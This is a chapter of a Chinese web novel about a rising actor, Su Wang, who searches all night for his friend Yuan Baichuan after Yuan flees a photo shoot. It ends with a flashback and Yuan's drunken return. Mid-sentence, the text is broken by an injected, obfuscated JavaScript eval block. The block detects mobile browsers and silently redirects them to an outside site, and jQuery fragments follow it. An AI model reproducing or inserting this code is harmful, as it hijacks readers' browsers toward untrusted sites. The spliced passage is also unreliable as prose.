第五章
袁百川紧绷的肩膀几不可察地松了一下，随即又被更深的疲惫覆盖。
成了。这傻逼缓过来了。他摸出根烟点上，劣质的烟雾在昏暗的楼梯间弥漫开，盖过了宿望残留的气息。
外面很快传来工作重新运转的嘈杂声，打板声，摄影师的指令，闪光灯噼啪作响。袁百川一支烟抽完，又点了一支。听着外面属于“宿老师”的世界在高效运转。
宿望需要他吗？需要。刚才那眼神，骗不了人。
够了。
袁百川猛地睁开眼。宿望的心意，那份几乎要冲破胸膛的滚烫，他确认了。而宿望要说的话，他也能猜到八九分。无非是那些……那些足以把刚刚站稳脚跟的宿望彻底拖入深渊的话。
他不敢听。也不能听。
袁百川太清楚这圈子的尿性。宿望现在站在风口浪尖上，是无数双眼睛盯着，等着揪他错处的靶子。一点风吹草动，都能被放大成灭顶之灾。那些“竖屏演员”、“流量咖”的标签还没撕掉，再添上一条“同性恋”？这他妈不是自毁前程是什么？
他不能毁了宿望。
哪怕宿望现在想拉着他一起跳火坑，他也不能。
烟头在指间燃尽，烫了一下手指。袁百川猛地回神，掐灭了烟蒂。他最后看了一眼那扇紧闭的防火门，门缝里透出外面世界的光。然后，他转身，悄无声息地拉开楼梯间另一侧通往地下车库的门，身影迅速没入昏暗的通道。
他没回头。
棚里，闪光灯下的宿望像是换了一个人，眼神锐利，姿态松弛中带着不容置疑的掌控力。他精准地理解摄影师的意图，甚至能提出几个让摄影师眼睛一亮的小建议。之前那些窃窃私语消失了，取而代之的是效率的提升和一种心照不宣的专业氛围。宿望用行动把那些“配不上”的标签撕了个粉碎。
拍摄间隙，宿望眼神下意识地往楼梯间方向瞟，虽然只能看到紧闭的门。心里那点因为袁百川出现而重新燃起的暖意和笃定，很踏实。等拍完，得好好跟川哥聊聊。那些压在心口的话，那些迷茫，那些……关于未来的打算。他相信袁百川懂。
拍摄异常顺利，甚至提前结束。宿望脸上维持着恰到好处的笑容送走工作人员和品牌方。
“望哥！太棒了！状态神了！”助理小陈激动地递上水。
宿望扯了扯领口，脸上还带着拍摄留下的亢奋红晕，目光却第一时间急切地扫向消防通道的方向。“人呢？”他问小陈，声音有点急。
“谁？”小陈一愣。
“袁百川！”宿望皱眉，“我让他等我！”
小陈茫然地摇头：“没……没看见啊？刚才一直没见袁哥进来……”
宿望脸上的血色唰地褪了下去，他猛地推开小陈，几步冲到消防通道口，一把拉开沉重的防火门。
“……川哥？” 他声音干涩地喊了一声，回应他的只有楼梯间空洞的回音。
他猛地掏出手机，手指因为用力而微微颤抖，拨通袁百川的号码。听筒里传来冰冷而机械的女声：“您拨打的用户已关机……”
操！袁百川！你他妈又跑？！
“望哥？车准备好了。” 助理小陈小心翼翼的声音在门口响起。
宿望在原地僵了几秒，猛地转身，没等试图跟上来的小陈，一头钻进保姆车。
“去袁百川那儿！” 他的声音嘶哑。
站在地下室的门口，宿望努力调整了呼吸，这才把钥匙插入锁孔，转动。
门开了。屋里空荡荡。铁架子床上被子叠得整整齐齐，冰冷僵硬。屋里没有任何袁百川回来过的痕迹。宿望像个没头苍蝇一样在狭小的空间里转了一圈，连厕所门都推开看了。
没人。
宿望的心彻底沉了下去。他失魂落魄地走到床边，身体里那股支撑着他拍完照的那股劲儿彻底散了。他没去开灯，也没力气开灯。他就那么直挺挺地走到床边，脱力般地把自己重重摔了上去。他拉过那床带着地下室特有潮气和淡淡洗衣粉味的薄被，把自己整个蒙住。
被子里残留着一丝极淡的，属于袁百川的混合着烟草的气息。这味道像针一样扎着宿望的神经。他蜷缩起来，把脸深深埋进那点熟悉又疏远的气味里。愤怒渐渐被一种更深沉、更冰冷的茫然和无助取代。袁百川…你到底在躲什么？
时间在死寂中缓慢爬行。宿望不知道自己躺了多久，手机屏幕亮了又暗，暗了又亮。他一遍遍拨打袁百川的号码，回应他的永远是冰冷的关机提示，打开家里的监控。屏幕里，他那套昂贵的大平层灯火通明，却空无一人，冰冷得像样板间。
袁百川没去。
袁百川也没回家。
他像人间蒸发了一样，消失在这个城市某个他宿望找不到的角落。
窗外天光由深蓝变成灰白。宿望就那么躺着，一动不动，身体僵硬冰冷，只有指尖残留着一点点被褥上的属于袁百川的气息。
天快亮时，手机震动起来。宿望像具尸体一样躺着没动。震动执着地响着，一遍又一遍。他终于动了动僵硬的手指，摸到掉在床边的手机，是小陈。
“……喂。” 声音嘶哑得像破风箱。
“望哥！你在哪儿啊？出工了！我在你家门口按半天门铃了！” 小陈的声音带着焦急。
宿望沉默了几秒，眼神空洞地望着天花板上那个脏兮兮的灯泡塑料壳。然后，他撑着仿佛灌了铅的身体坐起来，声音平板无波，听不出任何情绪：“…知道了。来川哥家接我。”
他挂了电话，像个设定好程序的机器人，起身，整理了一下身上皱巴巴蹭了墙灰的昂贵衬衫，看也没看这间充满袁百川气息却冰冷的地下室，拉开门，走了出去。背影挺直，却透着一股死寂的疲惫。
宿望刚离开没多久，楼梯上就传来沉重的脚步声。
袁百川回来了。他手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326068|183223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里拎着个塑料袋，里面是七八个廉价啤酒罐。他脸色灰败，眼底是浓重的青黑和宿醉的浑浊，身上带着清晨的寒气和浓重的酒气。他动作有些迟缓地打开门，熟悉的霉味和潮气再次将他包裹。
他的目光第一时间落在床上。
被子被掀开一角，明显有人躺过，枕头凹陷下去的形状都还没完全恢复。床单上还留着明显的褶皱和……几根明显不属于他，偏硬的短发。
宿望在这里躺过。等了他一夜。
袁百川心跳一滞，呼吸都跟着乱了半拍。他慢慢走过去，手指无意识地拂过那凹陷的枕头，冰凉的，宿望残留的那点温度早已散去。
可空气里，那属于宿望的带着点疏离却又无比熟悉的气息，固执地缠绕着他的神经。
他脱了鞋，没脱外套，就那么直挺挺地躺了下去。身体陷入宿望躺过的凹陷里，冰凉的铁架子硌着背，身下是残留的属于另一个人的体温痕迹。
酒劲混合着疲惫像黑色的潮水般汹涌而来。袁百川闭上眼，意识迅速模糊下沉。
彻底沉入黑暗之前，脑子里最后一个清晰的画面，不是昨晚楼梯间里宿望委屈的脸。
是那年冬天。
宿望拖着一个缺了轮破行李箱，一脚踹开他这间地下室的门，满嘴嚷嚷着要帮他分摊房租。又在他反应过来之前迅速从门外拖了个新床垫进来，撅着个腚吭哧吭哧地就往他床上铺。
袁百川当时皱着眉一个箭步冲了过去，抬脚，瞄准宿望那撅得老高正卖力干活儿的屁股蛋子，狠狠就是一脚！
“我□□大爸！谁他妈让你搬过来了？！啊？！” 袁百川吼声震得天花板上的灰都簌簌往下掉。
“嗷！！”宿望被他这突如其来的一脚踹得重心不稳，整个人往前一扑，结结实实摔趴在新床垫上。
他也不恼，扭过头，脸上汗津津的，沾了点灰，却咧着嘴，笑得见牙不见眼，还带着点得意，伸手拍着身下那厚实的垫子：
“操，来看看兄弟给你弄的！你那破床板，硬得跟棺材板似的，老子睡两晚胯骨都他妈硌青了三天！赶紧的，来试试！这才叫人睡的玩意儿！保准你明早起不来床！”
“等着吧川哥！等以后老子火了，成影帝了，就带你住大房子！带落地窗那种！这破地下室，咱以后当仓库！”
那时，昏暗的白炽灯光晕染着宿望年轻飞扬的眉眼，地下室冰冷的空气里，第一次有了点滚烫的名为“希望”和“未来”的东西。
袁百川在沉入睡眠的最后一刻，仿佛又闻到了那年冬天，地下室浑浊空气里，混着宿望身上香皂和少年汗意的，鲜活而滚烫的气息。
他蜷缩在还残留着宿望气息的冰冷被褥里，眉头紧锁，睡得很沉，眼角却有些湿润。
袁百川刚睡熟不过个把小时，门口突然传来钥匙转动的声音，门悠悠打开，站在门外的宿望眼睛一瞬不瞬地盯在床上一身酒气的人身上。